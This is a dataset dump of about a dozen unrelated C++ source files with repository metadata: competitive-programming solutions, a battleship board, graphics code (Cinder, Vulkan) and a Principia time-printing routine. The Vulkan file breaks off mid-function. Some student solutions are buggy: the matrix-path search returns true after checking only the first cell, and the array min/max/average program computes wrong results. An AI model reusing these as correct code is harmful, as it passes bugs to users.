float m_blue = 1.f;
float m_green = 1.f;
//for the vec2s in both of these maps, x is the left boundary of the sprite, y is the right boundary
//TODO: maybe shouldn't use a vec2, but C++ doesn't have nice tuples...
std::map<turn_direction, vec2> m_texture_coords;
turn_direction m_desired_turn = turn_direction::STRAIGHT;
};
| true |
832c0b15b440baab490ff95aa12bf8fc3269d705 | C++ | ServePeak/cs1124 | /hw06/Warrior.h | UTF-8 | 470 | 2.796875 | 3 | [] | no_license | #ifndef WARRIOR_H
#define WARRIOR_H
#include <string>
namespace WarriorCraft {
class Noble;
class Warrior {
public:
~Warrior();
Warrior( const std::string& warName, double warStr ) : name(warName), strength(warStr) {}
std::string getName() const;
double getStr() const;
void setStr( double str );
void setNoble( Noble* addr );
void runaway();
private:
std::string name;
double strength;
Noble* noble;
};
}
#endif
| true |
fe8efcad0bb3c77dceed7b2fac8b369eecdd668e | C++ | yehyun3459/algorithm | /Baekjoon/DP/P1103 (게임)/yhyh.cpp | UTF-8 | 1,164 | 2.859375 | 3 | [] | no_license | //메모이제이션 dp(BFS로 하려다가 계~~~속 틀림) 정석대로 풀자
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#define MAX_SIZE 50
#define MAX(a,b)(a>b?a:b)
int N, M;
int arr[MAX_SIZE][MAX_SIZE];
int dp[MAX_SIZE][MAX_SIZE];
int visited[MAX_SIZE][MAX_SIZE];
int dx[4] = { -1,1,0,0 };
int dy[4] = { 0,0,-1,1 };
int Solve(int x,int y)
{
if (x < 0 || x >= N || y < 0 || y >= M)return 0;
if (arr[x][y] == -1)return 0;
if (visited[x][y]) return -1; //가는 길목에 사이클을 체크해 주어야 하니까... 그래서 BFS로 하기에는 힘든듯
if (dp[x][y])return dp[x][y];
visited[x][y] = 1;
for(int d=0;d<4;d++)
{
int tmp = Solve(x + dx[d] * arr[x][y], y + dy[d] * arr[x][y]);
if (tmp == -1)return -1; //응 사이클~
dp[x][y] = MAX(dp[x][y], tmp + 1);
}
visited[x][y] = 0;
return dp[x][y];
}
int main()
{
char tmp;
scanf("%d %d", &N, &M);
for(int i=0;i<N;i++)
{
for (int j = 0; j < M; j++)
{
scanf(" %c", &tmp);
if (tmp == 'H')arr[i][j] = -1;
else arr[i][j] = tmp - '0';
}
}
memset(visited, 0, sizeof(visited));
memset(dp, 0, sizeof(dp));
printf("%d\n",Solve(0,0));
}
| true |
59d8f1168ac8d148cc6de4341aa60001013eccfc | C++ | Angelsufeiya/sword_offer | /Task_12.cpp | UTF-8 | 1,370 | 3.171875 | 3 | [] | no_license | #include <iostream>
using namespace std;
// 回溯法:矩阵中的路径
int main(){
return 0;
}
class Solution {
vector<vector<bool>> flag;
int direct[4][2] = {{-1,0}, {1,0}, {0,1}, {0,-1}}; // 左、右、上、下
public:
bool dfs(char * matrix, int i, int j, char * str, int pathLength){
if(str[pathLength] == '\0') return true;
int m = flag.size(), n = flag[0].size();
if(str[pathLength] != matrix[i*n+j]) return false;
flag[i][j] = true;
for(int k = 0; k < 4; ++k){
int row = direct[k][0] + i;
int col = direct[k][1] + j;
if(row >= m || col >= n|| row < 0 || col < 0|| flag[row][col]) continue;
if(dfs(matrix, row, col, str, pathLength+1)) return true;
}
flag[i][j] = false;
return false;
}
// matrix矩阵
bool hasPath(char* matrix, int rows, int cols, char* str){
if(matrix == NULL || rows < 1 || cols < 1 || str == NULL) return false;
flag = vector<vector<bool>>(rows, vector<bool>(cols, false));
for(int i = 0; i < rows; ++i){
for(int j = 0; j < cols; ++j){
if(matrix[i*cols+j] == str[0]){
if(dfs(matrix, i, j, str, 0)) return true;
}
return true;
}
}
return false;
}
}; | true |
ab44e69e4e982730fc21b89fd3c172f96b55b74a | C++ | minhthang294/battleShip | /src/Board.cpp | UTF-8 | 2,476 | 3.015625 | 3 | [] | no_license | #include "Board.h"
#include "Location.h"
#include <iostream>
#include <stdlib.h>
#include <ctime>
Board::Board()
{
_hits = 0;
for (int y = 0; y< 8; y++)
{
for (int x = 0; x < 8; x++)
{
_grid[x][y] = 0;
}
}
}
void Board::show()
{
int coor = 0;
cout << " 0 1 2 3 4 5 6 7 |x" << endl;
cout << " _______________" << endl;
for (int i = 0; i < 8; i++)
{
cout << coor <<'|' << " ";
coor++;
for (int j = 0; j <8;j++)
{
cout << _grid[j][i] << " ";
}
cout << endl;
}
cout << "y" << endl;
}
void Board::clearGrid()
{
for (int x = 0; x< 8; x++)
{
for (int y = 0; y < 8; y++)
{
_grid[x][y] = 0;
}
}
}
bool Board::getShot(Location loc)
{
if (_grid[loc.getX()][loc.getY()]==1)
{
_grid[loc.getX()][loc.getY()]='x';
_hits++;
for (int i = 0; i < 3; i++)
{
for (int j = 0; j <3;j++)
{
if(_ships[i]._deck[j].getX() == loc.getX() && _ships[i]._deck[j].getY() == loc.getY())
_ships[i]._deck[j]._status = false;
}
}
return true;
}
else
{
_grid[loc.getX()][loc.getY()]='o';
return false;
}
}
bool Board::isAllShipBurnt()
{
return (_hits==8);
}
void Board::place(Location start, int dir, int shipNo)
{
int x = start.getX();
int y = start.getY();
if (shipNo < 3)
{
if (dir == 1) //Vertical
{
if(start.getY()<=5 && start.getY()>=0 && _grid[x][y] != 1 && _grid[x][y+1] != 1 && _grid[x][y+2] != 1)
{
Location deck[3];
for (int i = 0; i < 3; i++)
{
_grid[start.getX()][start.getY()+i] = 1;
deck[i].setXY(x,y+i);
}
_ships[shipNo].setShip(deck);
}
}
else if (dir == 2) //horizontal
{
if (start.getX()<=5 && start.getX() >= 0 && _grid[x][y] != 1 && _grid[x+1][y] != 1 && _grid[x+2][y] != 1)
{
Location deck[3];
for (int i = 0; i < 3; i++)
{
_grid[start.getX()+i][start.getY()] = 1;
deck[i].setXY(x+i,y);
}
_ships[shipNo].setShip(deck);
}
}
}
}
Board::~Board()
{
}
| true |
4d5e51e0a796360156536ca15f834eddc392cf4d | C++ | virttuall/ProgrammingContests | /ProgrammingContests/src/uva/Uva_12529_FixThePond.cpp | UTF-8 | 2,776 | 2.53125 | 3 | [] | no_license | #include <bits/stdc++.h>
#define fora(i, s) for( int i = 0; i < s; i++ )
using namespace std;
const int maxN = 300;
char barriers[maxN*maxN-1][maxN];
bool visited[2*maxN][2*maxN+1];
bool canV[4]; // up, right, down, left
int iis[4] = {-1, 0, 1, 0};
int jjs[4] = {0, 1, 0, -1};
int up1 = 0;
int right1 = 1;
int down1 = 2;
int left1 = 3;
int N;
int xb1, xb2, yb1, yb2, auxI, auxJ;
queue<int> qi;
queue<int> qj;
int result;
void coorBarrier( int i, int j)
{
if ( i % 2 == 0)
{
if ( j % 2 == 0)
{
//(even, even)
xb2 = i;
yb2 = j/2;
xb1 = xb2 -1;
yb1 = yb2 -1;
}
else
{
//(even, odd)
xb2 = i;
yb2 = j / 2;
xb1 = xb2 - 1;
yb1 = yb2;
}
}
else
{
if ( j % 2 == 0)
{
//(odd, even)
xb2 = i;
yb1 = j/2;
xb1 = xb2 -1;
yb2 = yb1 -1;
}
else
{
//(odd, odd)
xb2 = i;
yb2 = j/2;
xb1 = xb2 - 1;
yb1 = yb2;
}
}
}
bool validate(int i, int j)
{
if ( i >= 0 && i < 2*N-1 && j >= 0 && j < N) return true;
return false;
}
void can(int i, int j)
{
canV[0] = canV[1] = canV[2] = canV[3] = true;
if ( (i + j) % 2 == 0)
{
// *.
// .*
if ( validate(xb1, yb1))
{
if ( barriers[xb1][yb1] == 'H') canV[up1] = false;
else canV[left1] = false;
}
if ( validate(xb2, yb2))
{
if ( barriers[xb2][yb2] == 'H') canV[down1] = false;
else canV[right1] = false;
}
}
else
{
// .*
// *.
if ( validate(xb1, yb1))
{
if ( barriers[xb1][yb1] == 'H') canV[up1] = false;
else canV[right1] = false;
}
if ( validate(xb2, yb2))
{
if ( barriers[xb2][yb2] == 'H') canV[down1] = false;
else canV[left1] = false;
}
}
if ( i == 0 ) canV[up1] = false;
if ( i == 2*N -1 ) canV[down1] = false;
if ( j == 0) canV[left1] = false;
if ( j == 2*N ) canV[right1] = false;
}
int main()
{
while(cin>>N)
{
fora(i, 2*N-1)
{
scanf("%s", barriers[i]);
}
for( int i = 0; i < 2*N; i++ ) fill_n(visited[i], 2*N+1, false);
result = 0;
for( int i = 0; i < 2*N; i++ )
{
for( int j = 0; j < 2*N+1; j++ )
{
if ( !visited[i][j] )
{
qi = queue<int>();
qj = queue<int>();
qi.push(i);
qj.push(j);
result++;
while( !qi.empty())
{
auxI = qi.front();
qi.pop();
auxJ = qj.front();
qj.pop();
if ( visited[auxI][auxJ]) continue;
visited[auxI][auxJ] = true;
coorBarrier(auxI, auxJ);
can(auxI, auxJ);
//printf("in %d,%d puede visitar up:%d ,right:%d, down:%d, left: %d with %d , %d --- %d , %d\n", auxI, auxJ,canV[0], canV[1], canV[2], canV[3], xb1,yb1, xb2, yb2);
for(int k = 0; k < 4; k++ )
{
if ( canV[k] )
{
qi.push(auxI+iis[k]);
qj.push(auxJ+jjs[k]);
}
}
}
}
}
}
printf("%d\n", result-1);
}
return 0;
} | true |
c6a40a51ca4f2f19535098f0d401112ce57bb9f8 | C++ | matthewepler/The-Nature-of-Code-Examples | /Cinder/chp3_oscillation/NOC_03_03_pointing_velocity_trail/xcode/Mover.cpp | UTF-8 | 1,756 | 2.875 | 3 | [] | no_license | //
// Mover.cpp
// NOC_03_03_pointing_velocity_trail
//
// Created by Matthew Epler on 2/24/13.
//
//
#include "cinder/app/AppBasic.h"
#include "Mover.h"
using namespace ci;
using namespace ci::app;
using namespace std;
Mover::Mover ()
{
mLocation = Vec2f( getWindowWidth() / 2, getWindowHeight() / 2);
mVelocity = Vec2f( 0.0f, 0.0f );
mTopSpeed = 4.0f;
mXoff = 1000.0f;
mYoff = 0.0f;
}
void Mover::update( Vec2f mousePos )
{
Vec2f mouse = mousePos;
Vec2f mDirection = mouse - mLocation;
mDirection.normalize();
mDirection *= 0.5f;
mAcceleration = mDirection;
mVelocity += mAcceleration;
mVelocity.limit( mTopSpeed );
mLocation += mVelocity;
}
void Mover::display()
{
gl::color( 0.5f, 0.5f, 0.5f );
Rectf rectangle = Rectf( 0, 0, 30, 10 );
// center the rectangle, equal rectMode(CENTER) in Processing
rectangle.offsetCenterTo( Vec2f( 0, 0 ) );
// Quaternions are used for rotations relative to a point, similar to "heading2D()" in Processing
ci::Quatf theta( 0, 0, ci::math<float>::atan2( mVelocity.y, mVelocity.x ) );
gl::pushMatrices();
gl::translate( mLocation.x, mLocation.y );
gl::rotate( theta );
gl::drawSolidRect( rectangle );
gl::color( 0, 0, 0 );
glLineWidth( 2 );
gl::drawStrokedRect( rectangle );
gl::popMatrices();
}
void Mover::checkEdges()
{
if( mLocation.x > getWindowWidth() )
{
mLocation.x = 0;
}
else if ( mLocation.x < 0 )
{
mLocation.x = getWindowWidth();
}
if ( mLocation.y > getWindowHeight() )
{
mLocation.y = 0;
}
else if ( mLocation.y < 0 )
{
mLocation.y = getWindowHeight();
}
}
| true |
010a31296934f216049cdbd1ced81d21d2939b3c | C++ | virusinlinux/dataStructures | /A-pratice problem 8.cpp | UTF-8 | 710 | 3.453125 | 3 | [] | no_license | #include<iostream>
using namespace std;
int main()
{
int a[10],min=1,max=0,avg=0,g;
cout<<"Enter elements of Array\n";
for(int i=0;i<10;i++)
{
cin>>a[i];
}
cout<<"Traverse elements of Array\n";
for(int i=0;i<10;i++)
{
if(a[i]>max){
max=a[i];
}
else if(a[i]<min){
min=a[i];
}
for(int i=0;i<10;i++){
avg=avg+a[i];
g=avg/10;
}
}
cout<<"\nHere you got the average of the Array:\t"<<g;
cout<<"\nHere you got the min of the Array:\t"<<min;
cout<<"\nHere you got the max of the Array:\t"<<max;
return 0;
} | true |
d66dcdc6b620b694c742ac3864a48916b1c835de | C++ | mockingbirdnest/Principia | /geometry/instant.cpp | UTF-8 | 2,240 | 2.71875 | 3 | [
"MIT"
] | permissive | #include "geometry/instant.hpp"
#include <limits>
#include <string>
#include <string_view>
#include "absl/strings/str_format.h"
#include "astronomy/epoch.hpp"
#include "astronomy/time_scales.hpp"
#include "quantities/quantities.hpp"
#include "quantities/si.hpp"
namespace principia {
namespace geometry {
namespace _point {
namespace internal {
using namespace principia::astronomy::_epoch;
using namespace principia::astronomy::_time_scales;
using namespace principia::quantities::_quantities;
using namespace principia::quantities::_si;
std::string DebugString(const Instant& t) {
return (std::stringstream() << t).str();
}
std::ostream& operator<<(std::ostream& os, Instant const& t) {
Time const from_j2000 = t - J2000;
// Dates before JD0.5 and after the year 9999 are not supported; Sterbenz’s
// lemma fails to apply in the second before J2000, we need to print the
// sign of 0 for J2000 itself, and the second after J2000 has fractions of a
// second that are too small to be reasonably printed in fixed format.
if (t >= "JD0.5"_TT && t < "9999-12-31T24:00:00"_TT &&
!(t > J2000 - 1 * Second && t < J2000 + 1 * Second)) {
auto const tt_second = TTSecond(t);
Instant const start_of_second = DateTimeAsTT(tt_second);
// This subtraction is exact by Sterbenz’s lemma.
Time const remainder = t - start_of_second;
// |remainder| being the result of a subtraction of numbers greater than or
// equal to 1, it is a multiple of 2u ≈ 2×10⁻¹⁶; 16 fractional decimal
// digits suffice to unambiguously represent it (alternatively, as shown by
// the static_assert, 17 decimal places are necessary, of which 16 are
// fractional for numbers in [1, 10[; the integer part is taken care of by
// |tt_second|).
static_assert(std::numeric_limits<double>::max_digits10 - 1 == 16);
return os << tt_second << ","
<< std::string_view(absl::StrFormat("%.16f", remainder / Second))
.substr(2)
<< " (TT)";
}
// The operator<< on the Time prints the requisite sign.
return os << "J2000" << from_j2000 << " (TT)";
}
} // namespace internal
} // namespace _point
} // namespace geometry
} // namespace principia
| true |
f4567b53a757ef914674dc3802ceae71eb8865fd | C++ | henrywarhurst/design-patterns | /Observer/concrete_subject.cpp | UTF-8 | 537 | 3.0625 | 3 | [] | no_license | #include <iostream>
#include "concrete_subject.h"
ConcreteSubject::ConcreteSubject()
: subject_state_(0)
{
std::cout << "ConcreteSubject constructed!" << std::endl;
}
ConcreteSubject::~ConcreteSubject()
{
std::cout << "ConcreteSubject destructed!" << std::endl;
}
int ConcreteSubject::getState()
{
std::cout << "ConcreteSubject::getState()" << std::endl;
return subject_state_;
}
void ConcreteSubject::setState(int new_state)
{
std::cout << "ConcreteSubject::setState()" << std::endl;
subject_state_ = new_state;
notify();
}
| true |
f11833a4dd0f5175c8268359a60839c4825b983d | C++ | Balajanovski/tron-clone | /Controller.cpp | UTF-8 | 653 | 2.734375 | 3 | [
"Apache-2.0"
] | permissive | //
// Created by JULIA BALAJAN on 30/12/2016.
//
#include "Controller.h"
#include "Model.h"
Controller::Controller(Model *model) : model(model) {}
void Controller::handleEvents() {
SDL_Event ev;
while(SDL_PollEvent(&ev))
if (ev.type == SDL_KEYDOWN) {
switch(ev.key.keysym.sym) {
case SDLK_LEFT: model->player1().turnLeft(); break;
case SDLK_RIGHT: model->player1().turnRight(); break;
case SDLK_a: model->player2().turnLeft(); break;
case SDLK_d: model->player2().turnRight(); break;
}
}
else if (ev.type == SDL_QUIT)
model->quit();
}
| true |
c323a35e1097d27aec4ed7a221e671029005ff53 | C++ | cpope9141/vulkanRT | /Image.cpp | UTF-8 | 15,364 | 2.78125 | 3 | [] | no_license | #include "Image.h"
#include "CommandBuffer.h"
#include "MemoryUtilities.h"
#include <cmath>
#include <iostream>
const uint8_t BYTES_8_BITS_PER_CHANNEL = 4;
const uint8_t BYTES_32_BITS_PER_CHANNEL = 16;
//public
Image::Image()
{
arrayLayers = 1;
format = VK_FORMAT_UNDEFINED;
image = VK_NULL_HANDLE;
imageMemory = VK_NULL_HANDLE;
mipLevels = 1;
}
Image::~Image() {}
void Image::copyToImage(VkImage dst, uint32_t height, uint32_t width, uint32_t baseArrayLayer, uint32_t mipLevel, CommandBuffer& commandBuffer)
{
VkImageCopy copyRegion = {};
copyRegion.srcSubresource.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
copyRegion.srcSubresource.baseArrayLayer = 0;
copyRegion.srcSubresource.mipLevel = 0;
copyRegion.srcSubresource.layerCount = 1;
copyRegion.dstSubresource.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
copyRegion.dstSubresource.baseArrayLayer = baseArrayLayer;
copyRegion.dstSubresource.mipLevel = mipLevel;
copyRegion.dstSubresource.layerCount = 1;
copyRegion.extent = { width, height, 1 };
vkCmdCopyImage(commandBuffer.getCommandBuffer(),
image,
VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL,
dst,
VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL,
1,
©Region);
}
void Image::create(const LogicalDevice& logicalDevice,
uint32_t height,
uint32_t width,
VkFormat format,
VkImageUsageFlags usage,
VkSampleCountFlagBits samples,
uint32_t arrayLayers,
VkImageCreateFlags flags,
bool genMipLevels)
{
this->arrayLayers = arrayLayers;
this->format = format;
if (genMipLevels)
{
mipLevels = static_cast<uint32_t>(std::floor(std::log2(std::max(width, height)))) + 1;
}
createImage(logicalDevice,
width,
height,
VK_IMAGE_TILING_OPTIMAL,
usage,
VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT,
samples,
flags);
}
void Image::create(const LogicalDevice& logicalDevice, const CommandPool& commandPool, const RGBAResource& resource)
{
VkDeviceSize imageSize = static_cast<VkDeviceSize>(resource.width) * resource.height * BYTES_8_BITS_PER_CHANNEL;
VkBuffer pStagingBuffer;
VkDeviceMemory pStagingBufferMemory;
void* data = nullptr;
CommandBuffer commandBuffer = CommandBuffer(commandPool);
mipLevels = static_cast<uint32_t>(std::floor(std::log2(std::max(resource.width, resource.height)))) + 1;
createBuffer(logicalDevice,
imageSize,
VK_BUFFER_USAGE_TRANSFER_SRC_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
&pStagingBuffer,
&pStagingBufferMemory);
vkMapMemory(logicalDevice.getDevice(), pStagingBufferMemory, 0, imageSize, 0, &data);
std::memcpy(data, resource.imageRGBA, imageSize);
vkUnmapMemory(logicalDevice.getDevice(), pStagingBufferMemory);
create(logicalDevice,
resource.height,
resource.width,
VK_FORMAT_R8G8B8A8_UNORM,
(VK_IMAGE_USAGE_TRANSFER_SRC_BIT | VK_IMAGE_USAGE_TRANSFER_DST_BIT | VK_IMAGE_USAGE_SAMPLED_BIT),
VK_SAMPLE_COUNT_1_BIT,
1,
0,
false);
transitionLayout(logicalDevice,
commandBuffer,
VK_IMAGE_LAYOUT_UNDEFINED,
VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL,
true);
copyBufferToImage(logicalDevice, commandPool, pStagingBuffer, image, resource.width, resource.height, 1, imageSize);
generateMipmaps(logicalDevice, commandPool, VK_FORMAT_R8G8B8A8_SRGB, resource.width, resource.height, mipLevels);
vkDestroyBuffer(logicalDevice.getDevice(), pStagingBuffer, nullptr);
vkFreeMemory(logicalDevice.getDevice(), pStagingBufferMemory, nullptr);
}
void Image::create(const LogicalDevice& logicalDevice, const CommandPool& commandPool, const HDRResource resources[6])
{
VkDeviceSize imageSize = resources[0].width * resources[0].height * 6 * BYTES_32_BITS_PER_CHANNEL;
VkDeviceSize bytes = resources[0].width * resources[0].height * BYTES_32_BITS_PER_CHANNEL;
VkBuffer pStagingBuffer;
VkDeviceMemory pStagingBufferMemory;
void* data = nullptr;
uint8_t* dst = nullptr;
CommandBuffer commandBuffer(commandPool);
createBuffer(logicalDevice,
imageSize,
VK_BUFFER_USAGE_TRANSFER_SRC_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
&pStagingBuffer,
&pStagingBufferMemory);
vkMapMemory(logicalDevice.getDevice(), pStagingBufferMemory, 0, imageSize, 0, &data);
dst = reinterpret_cast<uint8_t*>(data);
for (uint8_t i = 0; i < 6; i++)
{
std::memcpy(dst + i * bytes, resources[i].imageHDR, bytes);
}
vkUnmapMemory(logicalDevice.getDevice(), pStagingBufferMemory);
create(logicalDevice,
resources[0].width,
resources[0].height,
VK_FORMAT_R32G32B32A32_SFLOAT,
(VK_IMAGE_USAGE_TRANSFER_DST_BIT | VK_IMAGE_USAGE_SAMPLED_BIT),
VK_SAMPLE_COUNT_1_BIT,
6,
VK_IMAGE_CREATE_CUBE_COMPATIBLE_BIT,
false);
transitionLayout(logicalDevice,
commandBuffer,
VK_IMAGE_LAYOUT_UNDEFINED,
VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL,
true);
copyBufferToImage(logicalDevice, commandPool, pStagingBuffer, image, resources[0].width, resources[0].height, 6, bytes);
transitionLayout(logicalDevice,
commandBuffer,
VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL,
VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL,
true);
vkDestroyBuffer(logicalDevice.getDevice(), pStagingBuffer, nullptr);
vkFreeMemory(logicalDevice.getDevice(), pStagingBufferMemory, nullptr);
}
void Image::destroy(const LogicalDevice& logicalDevice)
{
vkDestroyImage(logicalDevice.getDevice(), image, nullptr);
vkFreeMemory(logicalDevice.getDevice(), imageMemory, nullptr);
}
VkImage Image::getImage() { return image; }
uint32_t Image::getMipLevels() { return mipLevels; }
void Image::transitionLayout(const LogicalDevice& logicalDevice, CommandBuffer& commandBuffer, VkImageLayout oldLayout, VkImageLayout newLayout, bool submit)
{
VkImageMemoryBarrier barrier = {};
VkPipelineStageFlags srcStageMask = VK_PIPELINE_STAGE_ALL_COMMANDS_BIT;
VkPipelineStageFlags dstStageMask = VK_PIPELINE_STAGE_ALL_COMMANDS_BIT;
barrier.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_BARRIER;
barrier.oldLayout = oldLayout;
barrier.newLayout = newLayout;
barrier.srcQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED;
barrier.dstQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED;
barrier.image = image;
barrier.subresourceRange.baseMipLevel = 0;
barrier.subresourceRange.levelCount = mipLevels;
barrier.subresourceRange.baseArrayLayer = 0;
barrier.subresourceRange.layerCount = arrayLayers;
barrier.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
if (VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL == newLayout) {
int aspectMask = VK_IMAGE_ASPECT_DEPTH_BIT;
if (hasStencilComponent(format)) { aspectMask |= VK_IMAGE_ASPECT_STENCIL_BIT; }
barrier.subresourceRange.aspectMask = aspectMask;
}
switch (oldLayout)
{
case VK_IMAGE_LAYOUT_GENERAL:
barrier.srcAccessMask = 0;
break;
case VK_IMAGE_LAYOUT_UNDEFINED:
barrier.srcAccessMask = 0;
break;
case VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL:
barrier.srcAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;
break;
case VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL:
barrier.srcAccessMask = VK_ACCESS_SHADER_READ_BIT;
break;
case VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL:
barrier.srcAccessMask = VK_ACCESS_TRANSFER_READ_BIT;
break;
case VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL:
barrier.srcAccessMask = VK_ACCESS_TRANSFER_WRITE_BIT;
break;
default:
throw std::runtime_error("Unsupported oldLayout transition");
}
switch (newLayout)
{
case VK_IMAGE_LAYOUT_GENERAL:
barrier.dstAccessMask = 0;
break;
case VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL:
barrier.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;
break;
case VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL:
barrier.dstAccessMask = (VK_ACCESS_DEPTH_STENCIL_ATTACHMENT_READ_BIT | VK_ACCESS_DEPTH_STENCIL_ATTACHMENT_WRITE_BIT);
break;
case VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL:
if (0 == barrier.srcAccessMask) { barrier.srcAccessMask = (VK_ACCESS_HOST_WRITE_BIT | VK_ACCESS_TRANSFER_WRITE_BIT); }
barrier.dstAccessMask = VK_ACCESS_SHADER_READ_BIT;
break;
case VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL:
barrier.dstAccessMask = VK_ACCESS_TRANSFER_READ_BIT;
break;
case VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL:
barrier.dstAccessMask = VK_ACCESS_TRANSFER_WRITE_BIT;
break;
default:
throw std::runtime_error("Unsupported newLayout transition");
}
if (submit)
{
commandBuffer.beginOneTimeCommandBuffer(logicalDevice);
vkCmdPipelineBarrier(commandBuffer.getCommandBuffer(), srcStageMask, dstStageMask, 0, 0, nullptr, 0, nullptr, 1, &barrier);
commandBuffer.submitOneTimeCommandBuffer(logicalDevice);
}
else
{
vkCmdPipelineBarrier(commandBuffer.getCommandBuffer(), srcStageMask, dstStageMask, 0, 0, nullptr, 0, nullptr, 1, &barrier);
}
}
//private
void Image::copyBufferToImage(const LogicalDevice& logicalDevice, const CommandPool& commandPool, VkBuffer buffer, VkImage image, uint32_t width, uint32_t height, size_t regionCount, VkDeviceSize bytes)
{
CommandBuffer commandBuffer = CommandBuffer(commandPool);
std::vector<VkBufferImageCopy> regions;
regions.resize(regionCount);
for (uint8_t i = 0; i < regions.capacity(); i++) {
regions[i].bufferOffset = i * bytes;
regions[i].bufferRowLength = 0;
regions[i].bufferImageHeight = 0;
regions[i].imageSubresource.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
regions[i].imageSubresource.mipLevel = 0;
regions[i].imageSubresource.baseArrayLayer = i;
regions[i].imageSubresource.layerCount = 1;
//regions[i].imageOffset.set(0, 0, 0);
regions[i].imageOffset = { 0, 0, 0 };
//regions[i].imageExtent(VkExtent3D.callocStack(stack).set(width, height, 1));
regions[i].imageExtent = { width, height, 1 };
}
commandBuffer.beginOneTimeCommandBuffer(logicalDevice);
vkCmdCopyBufferToImage(commandBuffer.getCommandBuffer(), buffer, image, VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL, static_cast<uint32_t>(regions.size()), regions.data());
commandBuffer.submitOneTimeCommandBuffer(logicalDevice);
}
void Image::createImage(const LogicalDevice& logicalDevice,
uint32_t width,
uint32_t height,
VkImageTiling tiling,
VkImageUsageFlags usage,
VkMemoryPropertyFlags memProperties,
VkSampleCountFlagBits samples,
VkImageCreateFlags flags)
{
VkImageCreateInfo imageCreateInfo = {};
imageCreateInfo.sType = VK_STRUCTURE_TYPE_IMAGE_CREATE_INFO;
imageCreateInfo.imageType = VK_IMAGE_TYPE_2D;
imageCreateInfo.extent.width = width;
imageCreateInfo.extent.height = height;
imageCreateInfo.extent.depth = 1;
imageCreateInfo.mipLevels = mipLevels;
imageCreateInfo.arrayLayers = arrayLayers;
imageCreateInfo.format = format;
imageCreateInfo.tiling = tiling;
imageCreateInfo.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED;
imageCreateInfo.usage = usage;
imageCreateInfo.samples = samples;
imageCreateInfo.sharingMode = VK_SHARING_MODE_EXCLUSIVE;
imageCreateInfo.flags = flags;
if (VK_SUCCESS == vkCreateImage(logicalDevice.getDevice(), &imageCreateInfo, nullptr, &image))
{
VkMemoryRequirements memRequirements = {};
VkMemoryAllocateInfo allocInfo = {};
vkGetImageMemoryRequirements(logicalDevice.getDevice(), image, &memRequirements);
allocInfo.sType = VK_STRUCTURE_TYPE_MEMORY_ALLOCATE_INFO;
allocInfo.allocationSize = memRequirements.size;
allocInfo.memoryTypeIndex = findMemoryType(logicalDevice, memRequirements.memoryTypeBits, memProperties);
if (VK_SUCCESS == vkAllocateMemory(logicalDevice.getDevice(), &allocInfo, nullptr, &imageMemory))
{
if (VK_SUCCESS != vkBindImageMemory(logicalDevice.getDevice(), image, imageMemory, 0))
{
throw std::runtime_error("Failed to bind image memory");
}
}
else
{
throw std::runtime_error("Failed to allocate image memory");
}
}
else
{
throw std::runtime_error("Failed to create image");
}
}
void Image::generateMipmaps(const LogicalDevice& logicalDevice, const CommandPool& commandPool, VkFormat imageFormat, int width, int height, uint32_t mipLevels)
{
VkFormatProperties formatProperties = {};
vkGetPhysicalDeviceFormatProperties(logicalDevice.getPhysicalDevicePtr()->getPhysicalDevice(), imageFormat, &formatProperties);
if (0 != (formatProperties.optimalTilingFeatures & VK_FORMAT_FEATURE_SAMPLED_IMAGE_FILTER_LINEAR_BIT))
{
int mipWidth = width;
int mipHeight = height;
CommandBuffer commandBuffer = CommandBuffer(commandPool);
commandBuffer.beginOneTimeCommandBuffer(logicalDevice);
VkImageMemoryBarrier barrier = {};
barrier.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_BARRIER;
barrier.image = image;
barrier.srcQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED;
barrier.dstQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED;
barrier.dstAccessMask = VK_QUEUE_FAMILY_IGNORED;
barrier.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
barrier.subresourceRange.baseArrayLayer = 0;
barrier.subresourceRange.layerCount = 1;
barrier.subresourceRange.levelCount = 1;
for (int i = 1; i < mipLevels; i++)
{
barrier.subresourceRange.baseMipLevel = (i - 1);
barrier.oldLayout = VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL;
barrier.newLayout = VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL;
barrier.srcAccessMask = VK_ACCESS_TRANSFER_WRITE_BIT;
barrier.dstAccessMask = VK_ACCESS_TRANSFER_READ_BIT;
vkCmdPipelineBarrier(commandBuffer.getCommandBuffer(),
